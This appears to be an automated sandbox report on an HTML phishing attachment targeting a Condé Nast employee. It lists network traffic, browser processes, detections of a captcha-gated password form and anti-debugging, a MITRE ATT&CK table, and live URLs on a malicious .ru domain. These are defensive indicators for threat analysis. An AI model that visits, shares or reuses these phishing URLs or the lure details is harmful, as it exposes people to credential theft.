Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.65.228:443 -> 192.168.2.9:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.9:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.9:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.9:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.9:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.9:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.196.11:443 -> 192.168.2.9:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.165:443 -> 192.168.2.9:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.4:443 -> 192.168.2.9:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.9:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.9:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.44.201.164:443 -> 192.168.2.9:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.96:443 -> 192.168.2.9:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.9:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.9:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.9:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.9:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.9:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.160.100:443 -> 192.168.2.9:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.9:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.134:443 -> 192.168.2.9:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.85.61.3:443 -> 192.168.2.9:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.85.61.72:443 -> 192.168.2.9:49790 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir2644_1283921

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir2644_1283921

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winHTML@25/103@42/26

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2288,i,10289072951988643527,3271450797325546856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2320 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Recorded_VM Condenast .html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2288,i,10289072951988643527,3271450797325546856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2320 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

HTTP Parser: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 0.15..script.csv, type: HTML
Source: Yara match	File source: 0.3.d.script.csv, type: HTML
Source: Yara match	File source: 0.16..script.csv, type: HTML
Source: Yara match	File source: 0.8.pages.csv, type: HTML
Source: Yara match	File source: 0.7.pages.csv, type: HTML

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

HTTP Parser: file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://mgdm.icemiceop.ru/ij3u6hDRiM4IlvLE2P1793sUu3Xf2UgIdkLkAKyz3jW2TrwXXvSmu78163	100%	Avira URL Cloud	malware
file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	0%	Avira URL Cloud	safe
https://mgdm.icemiceop.ru/opEDbSKXCHNsUe91Ah7TPDESVMvn1eV9I4TXuvDwUYoAguoUAPLxi5vnQUNw0wY7zXsHKPrcd240	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/uvQYGanMSL6x6xGfaA7GVzRGFyT8fL12igb8xQh80O675vzL55zcI5LppatVproscZ9uDR02JOo1yFc2JONOef260	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/mxkBWWeN9hECFQlpLe9bnBz2	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/klKDnQ2cBVKpBOD3UT55CmTRD2kl7GME9yjtxLdHQoGGvGFwx220	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/kc4lnUhhomVzz4Uksi9DpLs0HwxLp7owkkKLz9MyaqCqA57sfWtb	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/wxq6cHzKIYoNgm2Bopw50D84rw9YmbWJ12124	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/op8RaX2g4vcLuiH9DxNBazjBGxeN3ULgBmnKf30Bt3h7x2dFy1A445136	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/GDSherpa-regular.woff2	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/mnbEcC7ECt38mpevtEuvdHTkAyME6DicWgTYuvlpOA78150	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZY	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/wxA2O4wWdc8x8qq1ECSnjoUacanmn82arB0sl7MBzz12qpR190178	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/34nRRf3Gdt4CBxyHHh6720	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/GDSherpa-vf2.woff2	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/GDSherpa-regular.woff	100%	Avira URL Cloud	malware
https://4eta8m.ajcffp.ru/chai!1s6wuh	0%	Avira URL Cloud	safe
https://mgdm.icemiceop.ru/xy5ySUVfUFn8DeLTnPKM81kxOjq4Yud8ulXg4K6GwreoxBOxBeKC3fq	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/GDSherpa-vf.woff2	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/GDSherpa-bold.woff2	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/abyXBPharsydcd30	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/348FhUrqA8nqafPBtcG7sdZXsaUghmKlAILBKX67110	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/ghrACQ3TWSEprKOauvXE1jyI7XUA4ATVlHcd650	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/ijV8ixSgRCDBCx0UvMM6wWp9GMw7hmnNB4TUnoqjqQXIi8wxZKDmZMef210	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/GDSherpa-bold.woff	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/opoPtatGvuPGo2tQ9oraGIAl0YuvkECYuwb7BHQecLnZQvYtjFdBhacd192	100%	Avira URL Cloud	malware
https://mgdm.icemiceop.ru/ZwM7s15/	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
cac4hxpznnk8pam04abnxrqhgbjs9l49hxgfwvjsbrneonbhvxurhxdgrr.magnusxw.es	172.67.160.100	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
github.com	140.82.112.4	true	false	high
code.jquery.com	151.101.2.137	true	false	high
d3kq2ee0uikr7z.cloudfront.net	52.85.61.3	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
4eta8m.ajcffp.ru	172.67.196.11	true	false	unknown
get.geojs.io	104.26.1.100	true	false	high
www.google.com	142.250.65.228	true	false	high
mgdm.icemiceop.ru	104.21.32.1	true	true	unknown
d19d360lklgih4.cloudfront.net	18.164.124.11	true	false	high
objects.githubusercontent.com	185.199.109.133	true	false	high
a1400.dscb.akamai.net	23.44.201.164	true	false	high
eu1static.oktacdn.com	unknown	unknown	false	high
ok4static.oktacdn.com	unknown	unknown	false	high
www.w3schools.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://mgdm.icemiceop.ru/opEDbSKXCHNsUe91Ah7TPDESVMvn1eV9I4TXuvDwUYoAguoUAPLxi5vnQUNw0wY7zXsHKPrcd240	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/926f436978fddafc/1743082447449/ymApkFoSXkR3FAa	false		high
file:///C:/Users/user/Desktop/Recorded_VM%20Condenast%20.html#$vsabine.hutchinson@condenast.co.uk	true	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://mgdm.icemiceop.ru/ij3u6hDRiM4IlvLE2P1793sUu3Xf2UgIdkLkAKyz3jW2TrwXXvSmu78163	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/uvQYGanMSL6x6xGfaA7GVzRGFyT8fL12igb8xQh80O675vzL55zcI5LppatVproscZ9uDR02JOo1yFc2JONOef260	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/kc4lnUhhomVzz4Uksi9DpLs0HwxLp7owkkKLz9MyaqCqA57sfWtb	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/loginpage/font/assets/proximanova-light-webfont.aba797dabec6686294a9.woff2	false		high
http://c.pki.goog/r/r4.crl	false		high
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://mgdm.icemiceop.ru/mxkBWWeN9hECFQlpLe9bnBz2	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/926f436978fddafc/1743082447448/f08a0393422a5485320a157ae4e1a491df5c1bed56c3dcb07f0355299350cff3/z1WFFSaBdnj5ieq	false		high
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://mgdm.icemiceop.ru/klKDnQ2cBVKpBOD3UT55CmTRD2kl7GME9yjtxLdHQoGGvGFwx220	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/wxq6cHzKIYoNgm2Bopw50D84rw9YmbWJ12124	false	Avira URL Cloud: malware	unknown
https://eu1static.oktacdn.com/fs/bco/7/fs0etbxjyk4ClUuVr0i7	false		high
https://mgdm.icemiceop.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/op8RaX2g4vcLuiH9DxNBazjBGxeN3ULgBmnKf30Bt3h7x2dFy1A445136	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1971676144:1743078521:yATuNMM-PO2DVklHOFFLOmvKIKC6nAWHobCLEURgP0c/926f436978fddafc/RhI8rx38r9.zQfgvGMbev5wUMS_k_JyPhMuIsJZiev0-1743082446-1.1.1.1-6_ii.sQgQCqsFBY09NZaXNLW5ZF280UKllrAvP3rotIWd7Vx.zl91fVe5otwSsdL	false		high
https://mgdm.icemiceop.ru/mnbEcC7ECt38mpevtEuvdHTkAyME6DicWgTYuvlpOA78150	false	Avira URL Cloud: malware	unknown
http://c.pki.goog/r/gsr1.crl	false		high
https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZY	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/wxA2O4wWdc8x8qq1ECSnjoUacanmn82arB0sl7MBzz12qpR190178	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/loginpage/font/assets/proximanova-sbold-webfont.41acb8650115f83780fc.woff2	false		high
https://mgdm.icemiceop.ru/34nRRf3Gdt4CBxyHHh6720	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/GDSherpa-regular.woff	false	Avira URL Cloud: malware	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css	false		high
https://4eta8m.ajcffp.ru/chai!1s6wuh	false	Avira URL Cloud: safe	unknown
https://mgdm.icemiceop.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/img/security/default.png	false		high
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://www.w3schools.com/w3css/4/w3.css	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=926f436978fddafc&lang=auto	false		high
https://mgdm.icemiceop.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2	false		high
https://mgdm.icemiceop.ru/xy5ySUVfUFn8DeLTnPKM81kxOjq4Yud8ulXg4K6GwreoxBOxBeKC3fq	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/abyXBPharsydcd30	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/348FhUrqA8nqafPBtcG7sdZXsaUghmKlAILBKX67110	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/opoPtatGvuPGo2tQ9oraGIAl0YuvkECYuwb7BHQecLnZQvYtjFdBhacd192	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/img/ui/forms/checkbox-sign-in-widget.png	false		high
https://mgdm.icemiceop.ru/ghrACQ3TWSEprKOauvXE1jyI7XUA4ATVlHcd650	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/GDSherpa-bold.woff	false	Avira URL Cloud: malware	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2	false		high
https://mgdm.icemiceop.ru/ijV8ixSgRCDBCx0UvMM6wWp9GMw7hmnNB4TUnoqjqQXIi8wxZKDmZMef210	false	Avira URL Cloud: malware	unknown
https://mgdm.icemiceop.ru/ZwM7s15/	true	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/loginpage/font/assets/proximanova-reg-webfont.353416ed0ff540352235.woff2	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rhyj1/0x4AAAAAAA6KdsxyDUaIwDmK/auto/fbE/new/normal/auto/	false		high
https://a.nel.cloudflare.com/report/v4?s=5fySP%2Bmt3WRx30TGk7aYsC34JnR3jvG4Sw8sQDVOOqQ7XJGdKILkynx3Q9ee3wvXV11A2leeR9bd2OYDYQN8%2Fvb2PQD6u2KCIQplNSROGW87TB8v2IGlUYAnatAN163Cly7g	false		high
https://get.geojs.io/v1/ip/geo.json	false		high
